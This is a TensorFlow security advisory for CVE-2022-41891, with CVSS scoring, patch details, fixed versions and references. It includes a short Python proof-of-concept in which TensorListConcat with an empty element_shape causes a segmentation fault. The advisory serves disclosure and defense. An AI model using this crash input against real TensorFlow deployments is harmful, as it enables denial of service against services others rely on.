CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
42.0%
If tf.raw_ops.TensorListConcat
is given element_shape=[]
, it results segmentation fault which can be used to trigger a denial of service attack.
import tensorflow as tf
tf.raw_ops.TensorListConcat(
input_handle=tf.data.experimental.to_variant(tf.data.Dataset.from_tensor_slices([1, 2, 3])),
element_dtype=tf.dtypes.float32,
element_shape=[]
)
We have patched the issue in GitHub commit fc33f3dc4c14051a83eec6535b608abe1d355fde.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu, ShanghaiTech University
github.com/advisories/GHSA-66vq-54fq-6jvv
github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.h
github.com/tensorflow/tensorflow/commit/fc33f3dc4c14051a83eec6535b608abe1d355fde
github.com/tensorflow/tensorflow/security/advisories/GHSA-66vq-54fq-6jvv
nvd.nist.gov/vuln/detail/CVE-2022-41891